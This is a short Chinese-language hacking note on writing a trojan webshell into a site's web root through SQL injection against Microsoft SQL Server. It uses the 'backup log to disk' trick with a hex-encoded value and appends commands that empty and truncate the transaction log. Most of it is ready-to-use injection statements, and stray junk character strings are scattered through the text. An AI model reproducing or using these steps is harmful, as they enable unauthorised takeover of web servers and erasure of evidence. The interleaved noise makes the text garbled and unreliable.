差异备份提权

admin

select * from master.dbo.sysdatabases　 列出所有列的记录

select name from master.dbo.sysdatabases 仅列出name列的记录

注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份
7 a0 N% j/ {+ o0 z8 Q! o
alter database 数据库名 set RECOVERY FULL--
4 `7 ^8 o" G3 n' E
" J* Y6 U" k+ bcreate table cmd (a image)--                    \**cmd是创建的临时表

$ f0 a( m7 m8 }# Y% ]backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--

insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--

8 w+ |0 ?: `* b" I//木马存放路径（转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个）
% q1 n  k6 D7 P  @- ?
$ ?+ C+ c3 U% Y. Y  C) }backup log 数据库名 to disk = 'f:\wwwroot\1.asp'--  (要备份的目录)

0 v: J5 i0 V7 Y; @drop table cmd--

6 H; P# B. Y" \, [8 x- g* g
f:\
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)

8 w7 t! ]& ?8 w! Y) L2 W2 v- k最好多加几个回车0d0a,要不会出错哈

% w- ~% }# O+ v2 {/ T
SQL   Server日志清空方法   

在查询分析器中顺序执行以下三步，其中   databasename   为你的数据库文件名
1.清空日志：DUMP   TRANSACTION   databasename   WITH   NO_LOG   

" g" G6 l2 t' \) n: K8 l% S) u2.截断事务日志：BACKUP   LOG   databasename   WITH   NO_LOG   
1 W. I& F$ |5 v
5 h1 ~, Y4 j# ^+ [3.收缩数据库：DBCC   SHRINKDATABASE(databasename)